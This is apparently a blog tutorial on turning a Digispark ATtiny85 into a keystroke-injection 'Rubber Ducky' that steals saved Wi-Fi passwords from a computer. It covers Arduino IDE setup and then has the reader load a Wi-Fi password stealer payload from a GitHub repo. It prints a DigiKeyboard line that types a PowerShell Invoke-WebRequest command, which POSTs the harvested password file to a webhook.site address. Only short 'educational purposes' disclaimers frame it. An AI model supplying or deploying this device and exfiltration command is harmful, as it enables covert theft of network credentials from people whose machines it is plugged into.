In this article, I’ll walk through how you can create a DIY Rubber Ducky and try to steal Wifi credentials and send them to a webhook site.
First we need to add an Additional Boards Manager to the Arduino IDE. Open Arduino IDE > Goto file > preferences and then add or paste the package digistump index file:
Secondly, we need to goto tools > boards manager and install Digistump AVR Boards
And now we need to install Digistump Arduino Drivers (just the Digistump.Drivers.zip) through the link below:
So before using one of MTK911 payloads please make sure to read the DISCLAIMER:
All the software/scripts/applications/things in this repository are provided as is, without warranty of any kind. Use of these software/scripts/applications/things is entirely at your own risk. Creator of these softwares/scripts/applications/things is not responsible for any direct or indirect damage to your own or defiantly someone else's property resulting from the use of these software/scripts/applications/things.
And now we are all setup. we just need a payload and for this example we are going to use Wi-Fi password stealer from MTK911 Github Repo:
You can also test out MTK911's other payloads.
And after paste the payload into your IDE. Open Webhook Sites and make sure to copy your unique URL :
Then paste the Webhook address into the code as mentioned:
DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/<ADD-WEBHOOK-ADDRESS-HERE> -Method POST -InFile Wi-Fi-PASS"); DigiKeyboard.delay(1000);
Then Click upload on Arduino IDE. and it will copy the file to the ATtiny85 after you plug it in. And you are ready to test it out.
All the content reported in this article is for educational purposes only and we are not responsible for any use that may be made of it.
Thanks for reading!!!